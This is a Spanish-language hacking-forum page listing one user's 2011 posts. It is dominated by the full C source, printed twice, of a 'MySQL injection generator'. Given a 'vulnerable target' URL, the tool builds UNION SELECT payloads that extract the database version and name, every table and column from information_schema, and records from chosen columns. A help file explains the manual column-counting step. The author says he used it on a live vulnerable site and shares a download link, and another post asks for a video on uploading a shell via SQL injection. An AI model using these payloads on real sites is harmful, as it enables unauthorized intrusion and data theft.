elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Mensajes
Páginas: [1] 2 3
1  Seguridad Informática / Nivel Web / Re: [Tool]Mysql inyection generator. en: 1 Marzo 2011, 00:00 am
Poned el código aquí... ¬¬!

Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define N_ELEMENTOS 999

//PHAMTOM
//Gretz : Fer995,BlackCoder & 3mp3z@ndo
void finalmenu()
{
     printf("\n\n");
printf("1-Volver al menu\n");
     printf("\n2-Salir\n ==> ");
    
 }



void tablax()
{
     system("cls");
     printf("Nombre de tabla a sacar columnas ==>");
    
 }
void ncolumnas()
{
     system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
 }
void columnas()
{
system("cls");
printf("Si no entendiste este paso , visita la parte de ayuda del programa");
printf("\nNumeros de columnas de la pagina => ");
}

void menu()
{
printf("Menu Utilise el numero de opcion y la tecla enter para seleccionar -->(MySql)\n\n");
printf("\n1-Sacar version del mysql");
printf("\n2-Sacar base de datos que corre la pagina");
printf("\n3-Sacar todas las tablas de la base de datos");
printf("\n4-Sacar todas las columnas de una tabla");
printf("\n5-Sacar registros de la columna de una base de datos\n");
printf("\n\nOpciones\n\n");
printf("\n6-Ayuda");
printf("\n7-Salir");
printf("\n\n\nElige => ");
}
void error()
{
system("cls");
printf("\nError..El programa se ha cerrado.");
printf("\nEsto puede pasar por usar un numero de opciones inexistente o sobrepasar el nivel del buffer del array para mas informacion visite ayuda");
system("pause>Nul");
exit(-1);
}
int main()
{
    system("cls");
int o=0,n=0,c=0,z=0,k=0,ii=0;
char tablaxx[N_ELEMENTOS];

char columna2[N_ELEMENTOS];
char target[N_ELEMENTOS];
char tebla[N_ELEMENTOS];
char columna1[N_ELEMENTOS];
char columnaa[N_ELEMENTOS];
printf("Ejemplo : www.target.com/noticias.php?id=\n\n");
printf("Target vulnerable => ");
scanf("%s",target);
n=strlen(target);
if(n>999)
{
error();
}
if(n<=999)
{
system("cls");


system("title Generador de inyecciones MySql escrito por PHAMTOM.");
menu();
scanf("%d",&o);
if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use: \n\n\n\t  %s-1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("version(),");
                }
              
                        
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
if(o==2)
{
    
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use : \n %s -1+union+select+all + ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("database(),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
        if(o==3)
        {
                system("cls");
        printf("Sacar todas las tablas de la base de datos de la pagina\n\n");
printf("\n");
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use :\n %s -1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(table_name),");
                }
                
                                    else{
                                        
printf("%d,",j);

}
}
printf("\b");
printf("+from+information_schema.tables+where+table_schema=database() --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }}
                    if(o==4)
                    {
                            system("cls");
                            printf("\n\nSacar columnas de una tabla\n\n");
                                        
      
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
tablax();
scanf("%s",tablaxx);
system("cls");
printf("\n\n\n\n\n use: \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(column_name),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b");
printf("+from+information_schema.columns+where+table_name=char(");
int v=strlen(tablaxx);
for(int a=0;a<=v;a++)
{
        printf("%d,",tablaxx[a]);
        }
        printf("\b\b\b) --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }
                            
                            
                            if(o==5)
                            {
                                    system("cls");
                                    printf("Sacar registros de una columna de una DB.\n");
                                    columnas();
                                    scanf("%d",&c);
                                    ncolumnas();
                                    scanf("%d",&z);
                                    system("cls");
                                    printf("Escriba el nombre de la tabla a sacar datos : ");
                                    scanf("%s",tebla);
                                    system("cls");
                                    printf("Escriba la columna 1 : ");
                                    scanf("%s",columna1);
                                    system("cls");
                                    printf("Escriba la columna 2 : ");
                                    scanf("%s",columnaa);
                                    printf("\n\n\n\n\n Use : \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("concat(%s,0x3a,%s),",columna1,columnaa);}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b+from+%s --",tebla);
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
              if(ii==1)
              {
                       main();
                      
                       }            
                       else if(ii>2)
                       {
                            error();
                        }        
                        if(ii==2)
                        {
                                 system("cls");
                                 system("msg * gracias por usar el programa");
                                exit(-1);
                                 }
                                
                              
}
if(o==6)
{
        system("start ayuda.txt");
        }
        if(o==7)
        {
                exit(-1);
                }
                if(o>7)
                {
                       error();
                       }
        
}



2  Programación / Programación C/C++ / [ANSI C]Codigo fuente del generador de mysql inyection. en: 28 Febrero 2011, 15:12 pm
Version 0.1(Compilado para windows) :

Opciones disponibles hasta el momento:

  • Sacar base de datos actual de la pagina.
  • Sacar version del mysql.
  • Sacar todas las tablas de la base de datos.
  • Sacar todas las columnas de una tabla.
  • Sacar 2 registros por ejecucion de una columna de la tb.
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define N_ELEMENTOS 999

//PHAMTOM
//Gretz : Fer995,BlackCoder & 3mp3z@ndo
void finalmenu()
{
     printf("\n\n");
printf("1-Volver al menu\n");
     printf("\n2-Salir\n ==> ");
    
 }



void tablax()
{
     system("cls");
     printf("Nombre de tabla a sacar columnas ==>");
    
 }
void ncolumnas()
{
     system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
 }
void columnas()
{
system("cls");
printf("Si no entendiste este paso , visita la parte de ayuda del programa");
printf("\nNumeros de columnas de la pagina => ");
}

void menu()
{
printf("Menu Utilise el numero de opcion y la tecla enter para seleccionar -->(MySql)\n\n");
printf("\n1-Sacar version del mysql");
printf("\n2-Sacar base de datos que corre la pagina");
printf("\n3-Sacar todas las tablas de la base de datos");
printf("\n4-Sacar todas las columnas de una tabla");
printf("\n5-Sacar registros de la columna de una base de datos\n");
printf("\n\nOpciones\n\n");
printf("\n6-Ayuda");
printf("\n7-Salir");
printf("\n\n\nElige => ");
}
void error()
{
system("cls");
printf("\nError..El programa se ha cerrado.");
printf("\nEsto puede pasar por usar un numero de opciones inexistente o sobrepasar el nivel del buffer del array para mas informacion visite ayuda");
system("pause>Nul");
exit(-1);
}
int main()
{
    system("cls");
int o=0,n=0,c=0,z=0,k=0,ii=0;
char tablaxx[N_ELEMENTOS];

char columna2[N_ELEMENTOS];
char target[N_ELEMENTOS];
char tebla[N_ELEMENTOS];
char columna1[N_ELEMENTOS];
char columnaa[N_ELEMENTOS];
printf("Ejemplo : www.target.com/noticias.php?id=\n\n");
printf("Target vulnerable => ");
scanf("%s",target);
n=strlen(target);
if(n>999)
{
error();
}
if(n<=999)
{
system("cls");


system("title Generador de inyecciones MySql escrito por PHAMTOM.");
menu();
scanf("%d",&o);
if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use: \n\n\n\t  %s-1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("version(),");
                }
              
                        
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
if(o==2)
{
    
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use : \n %s -1+union+select+all + ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("database(),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
        if(o==3)
        {
                system("cls");
        printf("Sacar todas las tablas de la base de datos de la pagina\n\n");
printf("\n");
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use :\n %s -1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(table_name),");
                }
                
                                    else{
                                        
printf("%d,",j);

}
}
printf("\b");
printf("+from+information_schema.tables+where+table_schema=database() --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }}
                    if(o==4)
                    {
                            system("cls");
                            printf("\n\nSacar columnas de una tabla\n\n");
                                        
      
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
tablax();
scanf("%s",tablaxx);
system("cls");
printf("\n\n\n\n\n use: \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(column_name),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b");
printf("+from+information_schema.columns+where+table_name=char(");
int v=strlen(tablaxx);
for(int a=0;a<=v;a++)
{
        printf("%d,",tablaxx[a]);
        }
        printf("\b\b\b) --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }
                            
                            
                            if(o==5)
                            {
                                    system("cls");
                                    printf("Sacar registros de una columna de una DB.\n");
                                    columnas();
                                    scanf("%d",&c);
                                    ncolumnas();
                                    scanf("%d",&z);
                                    system("cls");
                                    printf("Escriba el nombre de la tabla a sacar datos : ");
                                    scanf("%s",tebla);
                                    system("cls");
                                    printf("Escriba la columna 1 : ");
                                    scanf("%s",columna1);
                                    system("cls");
                                    printf("Escriba la columna 2 : ");
                                    scanf("%s",columnaa);
                                    printf("\n\n\n\n\n Use : \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("concat(%s,0x3a,%s),",columna1,columnaa);}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b+from+%s --",tebla);
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
              if(ii==1)
              {
                       main();
                      
                       }            
                       else if(ii>2)
                       {
                            error();
                        }        
                        if(ii==2)
                        {
                                 system("cls");
                                 system("msg * gracias por usar el programa");
                                exit(-1);
                                 }
                                
                              
}
if(o==6)
{
        system("start ayuda.txt");
        }
        if(o==7)
        {
                exit(-1);
                }
                if(o>7)
                {
                       error();
                       }
        
}

Ayuda.txt

Código:
Este pad , no tiene como fin explicar el porque , ni como
realizar una inyeccion mysql , solo es para aclarar
los datos que pide el programa.

Cuando te pide numeros de columnas :

Esta es la unica parte que tenes que hacer manualmente
el generador luego te ayuda para imprimir datos, columnas,tablas.-
Busca un target vulnerable, o alguna pagina
que sea vulnerable a mysql inyection.
-1+union+select+0,1,2,3,4,5,6 -- sacas el numero de columnas
el 6 en este caso , es el numero ,por lo tanto cuando
te pide numero de columnas respondemos con 6.

Cuando el programa pide numero de columna que imprime
nos fijamos cual de las comunas, en mi caso , 1,2,3,4,5,6 imprime en pantalla.
para que el programa pueda generar la sql query correcta.


Lo demas para sacar datos de las columnas , sacar tablas
Nos podemos hiar dependiendo de como responde la pagina.

Gracias por descargar el programa , cualquier duda puedes mandarme un pm.
por los foros donde veas el usuario PHAMTOM o volteo0101.


Un saludo :) gracias a los usuarios que respondieron mi post de dudas sobre cadenas de caracteres.
3  Seguridad Informática / Nivel Web / [Tool]Mysql inyection generator. en: 28 Febrero 2011, 15:11 pm
Acabo de terminar un generador de mysql inyeccion que esta escrito en ANSI C, este generador facilita muchisimo la tarea de andar escribiendo la inyeccion, un saludo.

les dejo el archivo en un .rar con el codigo fuente, tambien el codigo fuente lo dejare en el apartado de programacion C.


Links :

http://rapidshare.com/files/450252883/SqlTool.rar


Un saludo ,y espero que les guste me costo un poco de tiempo.

PD :El usuario que quiera agregar alguna opcion al programa , o editarlo a su gusto puede hacerlo , pueden tambien publicarlo donde quieras, solamente dejen una fuente y el autor del programa,en caso que lo toquen lo editen , lo cambien pueden ponerse como release.


Esta en su version 0.1 , por lo tanto es beta , cualquier error pueden decirme , lo probe en una pagina que encontre vulnerable a mysql y funciono , las querys estan bien formuladas, el que quiera la pagina me puede mandar un pm , no la paso por aca para evitar el spam.

ESTA COMPILADO PARA WINDOWS , PERO SOLO PORQUE LLAMO COMANDOS DEL SISTEMA ,PUEDEN CAMBIAR LOS COMANDOS Y FUNCIONA PERFECTAMENTE PARA UNIX Y LINUX.
4  Programación / Programación C/C++ / Re: [ANSI C]Ayuda con cadenas de caracteres. en: 27 Febrero 2011, 11:38 am
Muchas gracias a todos , utilize este y me funciono :


Puedes utilizar en el printf la coma detrás y cuando salgas del for retrocedes, eliminas la coma y vuelves a retroceder para quedarte en la posicion correcta

Código
  1. printf("%d,",j);
  2. }
  3. printf("\b \b--");
  4.  

Saludos

Dentro de poco veran la herramienta :) un saludo.
5  Programación / Programación C/C++ / Re: Problema Pausar programa en: 27 Febrero 2011, 01:49 am
Lo quité para probar si funcionaba y que pasaba xDDDDD

Puedes hacerlo con la funcion system de windows..

#include <stdio.h>
#include <stdlib.h>
main() {
       printf ("Hola Mundo");
system("pause>nul") // El null para que no muestre un mensaje de aviso.       
}

tambien asi :

#include <stdio.h>
int main()
{
int a;
printf("hola mundo");
scanf("%d",&a);
}

vendria a ser un pause tambien :P
6  Programación / Programación C/C++ / [ANSI C]Ayuda con cadenas de caracteres. en: 27 Febrero 2011, 01:44 am
Buenas, estoy desarrollando una aplicacion en ansi c, que es un generador de inyecciones mysql , pero tengo un problema..

Código:
if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Target : %s and 1=0 +union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf(",version()");}
               
                                    else{
printf(",%d",j);
}
}
printf(" --");
printf("\n\nDone!!");
system("pause>Nul");
}

parte del codigo es asi , pero si pongo en la parte de
 printf(",%d",j);      // LA COMA ANTES ME QUEDA ASI :
,0,1,2,3,4,5 -- etc..

pero si la pongo despues :

printf("%d,",j);

Me queda :

0,1,2,3,4,5,6,7, --

yo necesito que queda , sin la primera coma y sin la ultima .. osea algo asi:

0,1,2,3,4,5,6 --

Algun algoritmo ?? ..

Gracias de antemano (:

7  Programación / PHP / Re: Consulta~Editar archivo de texto en una linea especifica. en: 9 Febrero 2011, 07:19 am
Gracias castg! ,me sirvio . hasta la proxima.
8  Programación / PHP / Consulta~Editar archivo de texto en una linea especifica. en: 8 Febrero 2011, 07:04 am
La pregunta es como podria desde un script php editar una parte de el codigo fuente de otro archivo php.
tengo una archivo php ini.php

ini.php

$p=$_REQUEST['$var'];
echo $p;

Quisiera saber como desde otro php , puedo editar la parte de echo $p ;

por ejemplo , cambiar el echo por un print , saludos.
9  Seguridad Informática / Nivel Web / Re: video tutorial subir shell sql injection en: 8 Febrero 2011, 06:58 am
Error en el link !
10  Programación / Scripting / Re: [Duda]Sockets en perl. en: 14 Enero 2011, 05:07 am
Muchas gracias a todos , voy a probar si funciona y les digo .

Hasta la proxima!
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines